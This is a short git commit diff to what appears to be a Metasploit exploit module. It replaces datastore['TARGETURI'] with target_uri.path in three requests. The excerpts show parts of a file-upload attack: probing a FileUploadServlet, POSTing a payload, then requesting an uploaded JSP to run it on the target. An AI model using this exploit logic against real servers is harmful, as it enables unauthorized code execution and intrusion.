Add changes requested to target.uri

bug/bundler_fix
Pedro Ribeiro 2016-08-04 17:50:16 +01:00 committed by GitHub
parent c93e88f3a3
commit 07e210c143
1 changed files with 3 additions and 3 deletions

View File

@ -72,7 +72,7 @@ Windows and Linux.
def check
res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
'method' => 'GET'
)
if res && res.code == 405
@ -88,7 +88,7 @@ Windows and Linux.
print_status("#{peer} - Uploading payload...")
end
res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
'method' => 'POST',
'data' => payload.to_s,
'ctype' => 'text/html',
@ -113,7 +113,7 @@ Windows and Linux.
jsp_name = upload_payload(os_finder_payload, false)
res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),
'method' => 'GET'
)